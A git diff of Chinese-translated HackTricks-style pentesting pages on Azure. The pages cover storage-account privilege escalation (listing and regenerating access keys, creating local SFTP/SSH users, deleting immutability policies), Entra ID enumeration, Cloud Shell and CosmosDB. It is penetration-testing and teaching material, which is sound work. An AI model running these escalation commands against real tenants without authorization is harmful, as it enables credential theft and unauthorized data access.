Microsoft.Storage/storageAccounts/listkeys/action +### `Microsoft.Storage/storageAccounts/listkeys/action` -具有此权限的主体将能够列出(以及访问密钥的秘密值)存储帐户的**访问密钥**。这允许主体提升其在存储帐户上的权限。 +具有此权限的主体将能够列出(以及访问密钥的秘密值)存储帐户的**访问密钥**。 这允许主体提升其在存储帐户上的权限。 ```bash az storage account keys list --account-name ``` -### Microsoft.Storage/storageAccounts/regenerateKey/action +### `Microsoft.Storage/storageAccounts/regenerateKey/action` -具有此权限的主体将能够更新并获取存储帐户的**访问密钥**的新秘密值。这允许主体提升其在存储帐户上的权限。 +具有此权限的主体将能够更新并获取存储帐户的**访问密钥**的新密钥值。这允许主体提升其在存储帐户上的权限。 此外,在响应中,用户将获得更新密钥的值以及未更新密钥的值: ```bash az storage account keys renew --account-name --key key2 ``` -### Microsoft.Storage/storageAccounts/write +### `Microsoft.Storage/storageAccounts/write` 具有此权限的主体将能够创建或更新现有的存储帐户,更新任何设置,例如网络规则或策略。 ```bash @@ -36,12 +36,12 @@ az storage account update --name --add networkRuleSet.ipRules value=< ``` ## Blobs 特定的权限提升 -### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete +### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete` 第一个权限允许**修改容器中的不可变性策略**,第二个权限允许删除它们。 > [!NOTE] -> 请注意,如果不可变性策略处于锁定状态,则无法执行这两项操作。 +> 请注意,如果不可变性策略处于锁定状态,您无法执行这两项操作。 ```bash az storage container immutability-policy delete \ --account-name \ @@ -56,21 +56,21 @@ az storage container immutability-policy update \ ``` ## 文件共享特定权限提升 -### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action +### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action` 这应该允许拥有此权限的用户能够获取共享文件系统内文件的所有权。 -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action` 这应该允许拥有此权限的用户能够修改共享文件系统内文件的权限。 -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action` 这应该允许拥有此权限的用户能够以超级用户身份在文件系统内执行操作。 -### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) +### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -拥有此权限后,攻击者可以为 Azure 存储帐户(配置了分层命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者以特定权限(如读取(r)、写入(w)、删除(d)和列出(l)等)授予自己对存储帐户的访问。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。 +拥有此权限的攻击者可以为 Azure 存储帐户(配置为层次命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者授予自己特定权限的存储帐户,例如读取(r)、写入(w)、删除(d)和列出(l)等。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。 ```bash az storage account local-user create \ --account-name \ @@ -80,9 +80,9 @@ az storage account local-user create \ --home-directory \ --has-ssh-key false/true # Depends on the auth method to use ``` -### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action +### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` -通过此权限,攻击者可以为 Azure Storage 账户中的本地用户重新生成密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可以获得对存储账户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储账户内容。 +通过此权限,攻击者可以重新生成 Azure 存储帐户中本地用户的密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可能会获得对存储帐户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储帐户内容。 ```bash az storage account local-user regenerate-password \ --account-name \ @@ -94,9 +94,9 @@ az storage account local-user regenerate-password \ sftp .@.blob.core.windows.net #regenerated-password ``` -### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action +### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` -通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob(如果它们之前被软删除)。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。 +通过这些权限,攻击者可以通过指定已删除的版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob(如果它们之前被软删除)。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。 ```bash #Restore the soft deleted container az storage container restore \ @@ -110,7 +110,7 @@ az storage blob undelete \ --container-name \ --name "fileName.txt" ``` -### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read +### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read` 通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的 Azure 文件共享。此权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。 ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 9d09d0113..9c9eb91f7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,7 +4,7 @@ ## 基本信息 -Azure Active Directory (Azure AD) 是微软的基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,尤其包括 **身份验证、授权和用户管理**。 +Azure Active Directory (Azure AD) 是微软基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,尤其包括 **身份验证、授权和用户管理**。 Azure AD 的关键特性包括 **多因素身份验证** 和 **条件访问**,以及与其他 Microsoft 安全服务的无缝集成。这些特性显著提升了用户身份的安全性,并使组织能够有效实施和执行其访问政策。作为微软云服务生态系统的基本组成部分,Azure AD 对于基于云的用户身份管理至关重要。 @@ -186,7 +186,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token 当您通过 **CLI** 登录 Azure 时,您使用的是属于 **Microsoft** 的 **租户** 中的 **Azure 应用程序**。这些应用程序,如您可以在您的帐户中创建的应用程序,**具有客户端 ID**。您 **无法看到所有这些应用程序** 在控制台中可见的 **允许的应用程序列表** 中,**但它们默认是被允许的**。 -例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员仍然可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。 +例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员也可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。 然而,还有 **其他客户端 ID** 的应用程序 **将允许您连接到 Azure**: ```bash @@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -强烈建议为每个用户添加 MFA,然而,一些公司可能不会设置它,或者可能会通过条件访问进行设置:用户将被 **要求 MFA 如果** 从特定位置、浏览器或 **某些条件** 登录。如果这些策略配置不正确,可能会容易受到 **绕过**。检查: +强烈建议为每个用户添加 MFA,然而,一些公司可能不会设置它,或者可能会通过条件访问进行设置:用户在特定位置、浏览器或 **某些条件** 下登录时将 **需要 MFA**。如果这些策略配置不正确,可能会容易受到 **绕过**。检查: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -798,9 +798,9 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * > [!NOTE] > 应用在请求令牌时用来证明其身份的秘密字符串是应用密码。\ > 因此,如果找到这个 **密码**,你可以作为 **服务主体** **访问** **租户**。\ -> 请注意,这个密码仅在生成时可见(你可以更改它,但无法再次获取)。\ -> **应用程序** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\ -> 作为这些服务主体的登录 **不会被标记为风险**,并且 **不会有 MFA**。 +> 请注意,这个密码只有在生成时可见(你可以更改它,但无法再次获取)。\ +> **应用** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\ +> 作为这些服务主体的登录 **不会被标记为风险**,并且它们 **不会有 MFA**。 可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用应用 ID 列表。 @@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members" -# 列出分配给用户的 Entra ID 角色 +# List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# 列出分配给组的 Entra ID 角色 +# List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# 列出分配给服务主体的 Entra ID 角色 +# List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# 获取所有可用的角色模板 +# Get all available role templates Get-AzureADDirectoryroleTemplate -# 获取启用的角色(分配的角色) +# Get enabled roles (Assigned roles) Get-AzureADDirectoryRole -Get-AzureADDirectoryRole -ObjectId #获取角色信息 -# 获取自定义角色 - 使用 AzureAdPreview +Get-AzureADDirectoryRole -ObjectId #Get info about the role +# Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName -# 被分配角色的用户(全局管理员) +# Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl -# 管理单位的角色(谁对管理单位及其成员拥有权限) +# Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` - {{#endtab }} {{#endtabs }} -### Devices +### 设备 {{#tabs }} {{#tab name="az cli" }} - ```bash -# 如果你知道如何做到这一点,请发送一个 PR! +# If you know how to do this send a PR! ``` - {{#endtab }} {{#tab name="MS Graph" }} - ```bash -# 使用 Microsoft Graph PowerShell 枚举设备 +# Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All -# 获取设备详细信息 +# Get device details Get-MgDevice -DeviceId | Format-List * -# 获取使用 Intune 管理的设备 +# Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All -# 获取用户拥有的设备 +# Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com -# 列出 Microsoft Graph PowerShell 中可用的命令 +# List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# 枚举设备 +# Enumerate Devices Get-AzureADDevice -All $true | fl * -# 列出所有活动设备(而不是过时设备) +# List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} -# 获取所有设备的所有者 +# Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# 所有设备的注册用户 +# Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# 获取使用 Intune 管理的设备 +# Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} -# 获取用户拥有的设备 +# Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com -# 获取设备的管理单位 +# Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` - {{#endtab }} {{#endtabs }} > [!WARNING] -> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\ -> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. +> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将 **能够登录**。\ +> 此外,如果登录的用户是设备的 **所有者**,他将成为 **本地管理员**。 -### Administrative Units +### 管理单位 -For more information about administrative units check: +有关管理单位的更多信息,请查看: {{#ref}} ../az-basic-information/ @@ -1062,104 +1045,100 @@ For more information about administrative units check: {{#tabs }} {{#tab name="az cli" }} - ```bash -# 列出所有管理单位 +# List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" -# 获取 AU 信息 +# Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" -# 获取成员 +# Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" -# 获取 AU 上具有角色的主体 +# Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```bash -# 获取管理单位 +# Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id -# 通过字符串获取管理员单位的ID +# Get ID of admin unit by string $adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" -# 列出受管理单位影响的用户、组和设备 +# List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id -# 获取用户对AU成员的角色 -Get-AzureADMSScopedRoleMembership -Id | fl #获取角色ID和角色成员 +# Get the roles users have over the members of the AU +Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` - {{#endtab }} {{#endtabs }} -## Entra ID Privilege Escalation +## Entra ID 特权升级 {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure Privilege Escalation +## Azure 特权升级 {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## 防御机制 -### Privileged Identity Management (PIM) +### 特权身份管理 (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +特权身份管理 (PIM) 在 Azure 中帮助**防止不必要地将过多特权**分配给用户。 -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其**在一段时间内(例如 6 个月)有资格**。然后,每当用户想要激活该角色时,他需要请求并指明他需要特权的时间(例如 3 小时)。然后**管理员需要批准**该请求。\ +请注意,用户还可以请求**延长**时间。 -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +此外,**PIM 会在特权角色被分配给某人时发送电子邮件**。
-When PIM is enabled it's possible to configure each role with certain requirements like: +启用 PIM 后,可以为每个角色配置某些要求,例如: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- 激活的最大持续时间(小时) +- 激活时需要 MFA +- 需要条件访问身份验证上下文 +- 激活时需要理由 +- 激活时需要票据信息 +- 激活时需要批准 +- 过期的合格分配的最大时间 +- 还有更多关于何时以及谁在某些操作发生时发送通知的配置 -### Conditional Access Policies +### 条件访问策略 -Check: +检查: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra Identity Protection +### Entra 身份保护 -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +Entra 身份保护是一项安全服务,允许**检测用户或登录尝试是否过于风险**以被接受,从而**阻止**用户或登录尝试。 -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +它允许管理员配置在风险为“低及以上”、“中等及以上”或“高”时**阻止**尝试。尽管默认情况下它是完全**禁用**的:
> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> 目前建议通过条件访问策略添加这些限制,在那里可以配置相同的选项。 -### Entra Password Protection +### Entra 密码保护 -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +Entra 密码保护 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定账户来帮助防止弱密码的滥用**。\ +它还允许**禁止自定义密码列表**,该列表需要您提供。 -It can be **applied both** at the cloud level and on-premises Active Directory. +它可以**同时应用于**云级别和本地 Active Directory。 -The default mode is **Audit**: +默认模式是**审计**:
-## References +## 参考 - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 18426ccf4..a3ac335f9 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -4,29 +4,29 @@ ## Azure Cloud Shell -**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 的文件共享来持久化文件。Cloud Shell 可以通过多个点访问,包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。 +**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 文件共享来持久化文件。可以通过多个点访问 Cloud Shell,包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。 此服务没有分配权限,因此没有特权升级技术。同时也没有任何类型的枚举。 ### 主要特性 -**环境**:Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境,Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击。 -**预安装工具**:Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git,以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块,可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"。 -**$HOME 持久性**:首次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault。 -**Azure 驱动器 (Azure:)**:Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源。 -**自定义工具安装**:配置了存储帐户的用户可以安装不需要根权限的额外工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置。 +**环境**: Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境,Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击。 +**预安装工具**: Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git,以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块,可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"。 +**$HOME 持久性**: 第一次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault。 +**Azure 驱动器 (Azure:)**: Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源。 +**自定义工具安装**: 配置了存储帐户的用户可以安装不需要根权限的附加工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置。 ## 参考 -* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) ## 持久性 -{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} -[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) -{% endcontent-ref %} +{{#ref}} +../az-persistence/az-cloud-shell-persistence.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 22b2dadeb..2c72a25da 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -4,32 +4,27 @@ ## Azure CosmosDB -**Azure Cosmos DB** 是一个完全 **托管的 NoSQL、关系和向量数据库**,提供单毫秒级响应时间、自动扩展和具有企业级安全性的 SLA 支持的可用性。它通过即插即用的多区域数据分发、开源 API、流行语言的 SDK 以及集成向量支持和无缝 Azure AI 集成等 AI 数据库功能,加速应用程序开发。 +**Azure Cosmos DB** 是一个完全 **托管的 NoSQL、关系和向量数据库**,提供单毫秒级响应时间、自动扩展和具有企业级安全性的 SLA 支持的可用性。它通过即插即用的多区域数据分发、流行语言的开源 API、SDK 和集成向量支持及无缝 Azure AI 集成等 AI 数据库功能,加速应用程序开发。 Azure Cosmos DB 提供多种数据库 API,以使用文档、关系、键值、图形和列族数据模型来建模现实世界的数据,这些 API 包括 NoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin 和 Table。 -CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置,例如全球分布、一致性级别和要使用的特定 API,例如 NoSQL。通过该账户,您可以配置全球复制,以确保数据在多个区域可用,以实现低延迟访问。此外,您可以选择在性能和数据准确性之间取得平衡的一致性级别,选项范围从强一致性到最终一致性。 +CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置,如全球分布、一致性级别和要使用的特定 API,例如 NoSQL。通过该账户,您可以配置全球复制,以确保数据在多个区域可用,以实现低延迟访问。此外,您可以选择在性能和数据准确性之间取得平衡的一致性级别,选项范围从强一致性到最终一致性。 ### NoSQL (sql) Azure Cosmos DB NoSQL API 是一个基于文档的 API,使用 JSON 作为其数据格式。它提供类似 SQL 的查询语法来查询 JSON 对象,使其适合处理结构化和半结构化数据。该服务的端点是: - -{% code overflow="wrap" %} ```bash https://.documents.azure.com:443/ ``` -{% endcode %} - #### 数据库 -在一个帐户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配置的吞吐量,或为单个容器分配专用吞吐量。 +在一个账户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库作为资源管理和用户权限的边界。数据库可以在其容器之间共享预配置的吞吐量,或为单个容器分配专用吞吐量。 #### 容器 -数据存储的核心单元是容器,它保存 JSON 文档并自动建立索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,"customerId" 作为分区键。 +数据存储的核心单元是容器,它保存 JSON 文档并自动建立索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,以 "customerId" 作为分区键。 #### 枚举 -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosD @@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName " # List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### 连接 -要连接 azure-cosmosDB(pip install azure-cosmos)库是必需的。此外,端点和密钥是建立连接的关键组件。 -{% code overflow="wrap" %} +要连接azure-cosmosDB(pip install azure-cosmos)库是必需的。此外,端点和密钥是建立连接的关键组件。 ```python from azure.cosmos import CosmosClient, PartitionKey @@ -158,11 +149,7 @@ print("All items in the container:") for item in all_items: print(item) ``` -{% endcode %} - -另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录 (az login) 并执行它。对于这种情况,必须进行角色分配,以授予必要的权限 (见更多信息) - -{% code overflow="wrap" %} +另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录 (az login) 并执行它。对于这种情况,必须进行角色分配,以授予必要的权限 (见更多)。 ```python from azure.identity import DefaultAzureCredential from azure.cosmos import CosmosClient @@ -187,17 +174,11 @@ item = { 